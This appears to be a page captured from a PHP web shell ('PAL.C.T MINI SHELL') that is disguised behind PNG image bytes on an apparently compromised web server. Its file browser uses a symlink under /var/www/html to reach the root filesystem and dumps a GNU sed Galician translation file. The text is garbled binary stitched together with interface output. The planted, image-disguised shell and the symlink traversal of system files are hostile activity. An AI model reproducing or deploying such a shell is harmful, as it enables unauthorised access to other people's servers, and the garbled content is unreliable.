‰php  IHDRwQ)Bæa pHYs  šœsRGB®ÎégAMA± üaÔIDATxíÜMk\UÇás&uo,ÖmÄD )XwîŒ+Çe?‰ºtw.“oàWpå§;—³°QHZnw¢`gaiJ’9Þˆ‰ÑÒÌŸç™û¾ýÍaî=·nlŽ[ ʨG܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îú¸·y H†¯@E7j­Í 1j+OF¥–€‹Rg}Ü«‘;@’E™Öa¹±ùáÓ~ ÿj`Ùuû'ož> ÙjÝ-$˜_§q?¾q¸SXzG'åóay

PAL.C.T MINI SHELL
files >> /var/www/html/sub/images/sym/root/usr/share/locale/gl/LC_MESSAGES/
upload
files >> /var/www/html/sub/images/sym/root/usr/share/locale/gl/LC_MESSAGES/sed.mo

Þ•UÄql0ú1,,5YN7Þ\	_s	`Ó	u4
lª
bVzYÑ~+ª%:
`
w
‘
®
Â
Ù
ö
$*Oa|–#µÙôü!3EHR›µÔ!ò)(>gz#˜¼Ö$ö:#TBx2»î #A*`*‹¶Ö
æ#ô#&<cr,‘¾×-ì0?Nd
zˆ¡º”Õ'j'’7º^ò=Qamña_Á…RsØgLd´Ž›¨(DmЍÁ"Õ&ø!A%\‚š·
È'Ö"þ !BHfzŽ¢J± ü 8 1X Š ¥ F 	! !!$B!(g!'!1¸!.ê!$"->"[l"7È"#'#);#'e#8#1Æ#%ø#$5$,D$,q$2ž$Ñ$'î$=%T%t%<Ž%Ë%á%ð%ÿ%&6&F&c&*€&.506,712/	DAU4O+'(CT
>="8EMN*:JR-G PKQ@%39?$I;B!L
H#&FS<)
If no -e, --expression, -f, or --file option is given, then the first
non-option argument is taken as the sed script to interpret.  All
remaining arguments are names of input files; if no input files are
specified, then the standard input is read.

      --help     display this help and exit
      --version  output version information and exit
  --follow-symlinks
                 follow symlinks when processing in place
  --posix
                 disable all GNU extensions.
  -R, --regexp-perl
                 use Perl 5's regular expressions syntax in the script.
  -b, --binary
                 open files in binary mode (CR+LFs are not processed specially)
  -e script, --expression=script
                 add the script to the commands to be executed
  -f script-file, --file=script-file
                 add the contents of script-file to the commands to be executed
  -i[SUFFIX], --in-place[=SUFFIX]
                 edit files in place (makes backup if extension supplied)
  -l N, --line-length=N
                 specify the desired line-wrap length for the `l' command
  -n, --quiet, --silent
                 suppress automatic printing of pattern space
  -r, --regexp-extended
                 use extended regular expressions in the script.
  -s, --separate
                 consider files as separate rather than as a single continuous
                 long stream.
  -u, --unbuffered
                 load minimal amounts of data from the input files and flush
                 the output buffers more often
%s: -e expression #%lu, char %lu: %s
%s: can't read %s: %s
%s: file %s line %lu: %s
: doesn't want any addressesGNU sed version %s
Invalid back referenceInvalid character class nameInvalid collation characterInvalid content of \{\}Invalid preceding regular expressionInvalid range endInvalid regular expressionMemory exhaustedNo matchNo previous regular expressionPremature end of regular expressionRegular expression too bigSuccessTrailing backslashUnmatched ( or \(Unmatched ) or \)Unmatched [ or [^Unmatched \{Usage: %s [OPTION]... {script-only-if-no-other-script} [input-file]...

`e' command not supported`}' doesn't want any addressesbased on GNU sed version %s

can't find label for jump to `%s'cannot remove %s: %scannot rename %s: %scannot specify modifiers on empty regexpcannot stat %s: %scommand only uses one addresscomments don't accept any addressescouldn't attach to %s: %scouldn't edit %s: is a terminalcouldn't edit %s: not a regular filecouldn't follow symlink %s: %scouldn't open file %s: %scouldn't open temporary file %s: %scouldn't write %d item to %s: %scouldn't write %d items to %s: %sdelimiter character is not a single-byte charactererror in subprocessexpected \ after `a', `c' or `i'expected newer version of sedextra characters after commandinvalid reference \%d on `s' command's RHSinvalid usage of +N or ~N as first addressinvalid usage of line address 0missing commandmultiple `!'smultiple `g' options to `s' commandmultiple `p' options to `s' commandmultiple number options to `s' commandno input filesno previous regular expressionnumber option to `s' command may not be zerooption `e' not supportedread error on %s: %sstrings for `y' command are different lengthssuper-sed version %s
unexpected `,'unexpected `}'unknown command: `%c'unknown option to `s'unmatched `{'unterminated `s' commandunterminated `y' commandunterminated address regexProject-Id-Version: sed 4.2.0
Report-Msgid-Bugs-To: bug-gnu-utils@gnu.org
POT-Creation-Date: 2009-06-27 15:08+0200
PO-Revision-Date: 2008-09-18 08:35+0200
Last-Translator: Francisco Javier Tsao Santín <tsao@enelparaiso.org>
Language-Team: Galician <proxecto@trasno.net>
MIME-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
Plural-Forms: nplurals=2; plural=n!=1;

Se non se indican as opcións -e, --expression, -f ou --file, entón o primeiro
argumento que non é unha opción tómase como o script sed para interpretar. Tódolos
argumentos restantes son nomes de ficheiros de entrada; se non se especifican
ficheiros de entrada, entón se le a entrada standard.

     --help     amosa esta axuda e sae
     --version  amosa-la información da versión e saír
  --follow-symlinks
                 segue ligazóns simbólicas cando se procesan no seu sitio
  --posix
                 desactiva tódalas extensións GNU.
  -R, --regexp-perl
                 usa-la sintaxe de expresións regulares de Perl 5 no script.
  -b, --binary
                 ficheiros abertos en modo binario (non se procesan de xeito especial CR+LFs)
-e script, --expression=script
               engade script ás instruccións que serán executadas
  -f ficheiro-de-script, --file=ficheiro-de-script
                 engade o contido do ficheiro do script ás instruccións que serán executadas
  -i[SUFIXO], --in-place[=SUFIXO]
                 edita ficheiros no seu sitio (facendo copia de seguridade se se indica un sufixo)
  -l N, --line-length=N
                 especifica a lonxitude de axuste da liña desexado para a instrucción `l' 
  -n, --quiet, --silent
                      suprime a visualización automática do espacio de patróns
  -r, --regexp-extended
                 usa a sintaxe extendida de expresións regulares no script.
  -s, --separate
                 trata os ficheiros coma separados no canto de coma unha
                 longa tira de caracteres continua.
  -u, --unbuffered 
                 carga cantidades mínimas de datos dos ficheiros de entrada
                 e baleira os buffers de saída máis decote
%s: -e expresión #%lu, carácter %lu: %s
%s: non se puido ler %s: %s
%s: ficheiro %s liña %lu: %s
: non acepta un enderezoGNU sed versión %s
Referencia cara a atrás non válidaNome de clase de caracteres non válidoCarácter de ordeamento non válidoContido de \{\} non válidoExpresión regular anterior non válidaFin de rango non válidaExpresión regular non válidaMemoria esgotadaNon se atopouNon hai unha expresión regular anteriorFin prematura da expresión regularExpresión regular grande de máisÉxitoBarra invertida á fin de liña( ou \( sen parella) ou \) sen parella[ ou [^ sen parella\{ sen parellaUso: %s [OPCIÓN]... {script-só-sen-outro-script} [ficheiro-de-entrada]...
o comando `e' non está soportado`}' non acepta un enderezobaseado en GNU sed versión %s

non se puido atopa-la etiqueta para saltar a `%s'non se puido borrar %s: %snon se puido renomear %s: %snon se poden especificar modificadores nunha expresión regular baleiranon se puido ler %s: %sa instrucción só usa un enderezoos comentarios non aceptan enderezosnon se puido adxuntar elemento en %s: %snon se puido editar %s: é unha terminalnon se puido editar %s: non é un ficheiro regularnon se puido segui-la ligazón simbólica %s: %snon se puido abri-lo ficheiro %s: %snon se puido abri-lo ficheiro temporal %s: %snon se puido escribir %d elemento en %s: %snon se puideron escribir %d elementos en %s: %so carácter delimitador non é un carácter de byte simpleerro no subprocesoesperábase \ despois de `a', `c' ou `i'se esperaba unha versión de sed máis novacaracteres extra despois da instrucciónreferencia \%d non válida no lado dereito do comando `s'non se pode usar +N ou ~N como primeira direcciónuso non válido da dirección de liña 0falta unha instrucciónmúltiples `!'smúltiples opcións `g' para a instrucción `s'múltiples opcións `p' para a instrucción `s'múltiples opcións numéricas para a instrucción `s'non hai ficheiros de entradanon hai unha expresión regular anteriorunha opción numérica para a instrucción `s' non pode ser ceroa opción `e' non está soportadaerro de lectura en %s: %sas cadeas para a instrucción `y' teñen lonxitudes diferentessuper-sed versión %s
`,' inesperada`}' inesperadoinstrucción descoñecida:`%c'opción de `s' descoñecida`{' sen parellainstrucción `s' non rematadainstrucción `y' non rematadaexpresión regular de enderezo non rematada
ß yôÊá½~ŒorÀ5ÖJ™={þÁEÇêe¾uç£Qk®•ᯘG{÷?ù»ã+—]üôçƒÉÍ×ןô?wûM3X^¶Úæ­Œ>{´7Ù¾ì´Kã>èo²ÎnÝ\ÿªÊj¿y·ðR £õãg/î=ÞÿfúOçÖr·o×NVÊv¿ú~ÿY+ü¿NGêu÷ø·Ã®›þë¹HWŠûyëwÆ[eQ¶Ê¨¾SÚb­Ö>öÍËÇþ³>ä}Gçmx[o[<ÞÚ{ðýŸÏ®_ÅïqF– ÚÛvMIEND®B`‚